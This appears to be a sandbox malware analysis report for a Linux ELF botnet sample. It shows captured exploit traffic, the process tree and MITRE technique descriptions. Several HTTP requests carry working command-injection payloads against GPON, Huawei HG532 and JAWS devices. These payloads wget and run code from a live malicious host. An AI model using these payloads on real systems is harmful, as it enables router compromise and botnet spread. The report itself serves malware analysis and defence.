Apr 14, 2024 04:01:54.894942999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1807	192.168.2.23	45210	109.209.245.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.895024061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1808	192.168.2.23	56908	156.241.66.74	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.941591024 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1809	192.168.2.23	41928	185.21.70.232	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.976080894 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.355859995 CEST	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 4c 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTL1</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1810	192.168.2.23	45602	172.91.178.135	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.567976952 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:55.749033928 CEST	376	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 18:02:27 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1811	192.168.2.23	50336	38.95.29.46	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.791799068 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1812	192.168.2.23	51478	37.230.139.5	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.906927109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:56.251339912 CEST	372	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:01:56 GMT Content-Type: text/html Content-Length: 190 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1813	192.168.2.23	46888	103.150.111.82	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.912476063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1814	192.168.2.23	38308	219.218.120.164	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:56.122827053 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

System Behavior

Analysis Process: dash PID: 6225, Parent PID: 4331

General

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.AsSoFSRfhJ
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.AsSoFSRfhJ
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:42
Start date (UTC):	14/04/2024
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	01:59:43
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:43
Start date (UTC):	14/04/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	/tmp/N1msxMZ5Il.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	02:01:38
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: N1msxMZ5Il.elf PID: 6252, Parent PID: 6247

General

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: N1msxMZ5Il.elf PID: 6254, Parent PID: 6247

General

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: N1msxMZ5Il.elf PID: 6257, Parent PID: 6247

General

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Analysis Process: N1msxMZ5Il.elf PID: 6260, Parent PID: 6247

General

Start time (UTC):	01:59:50
Start date (UTC):	14/04/2024
Path:	/tmp/N1msxMZ5Il.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:56
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:57
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:57
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:58
Start date (UTC):	14/04/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	01:59:58
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report N1msxMZ5Il.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: dash PID: 6225, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6225, Parent PID: 4331

General

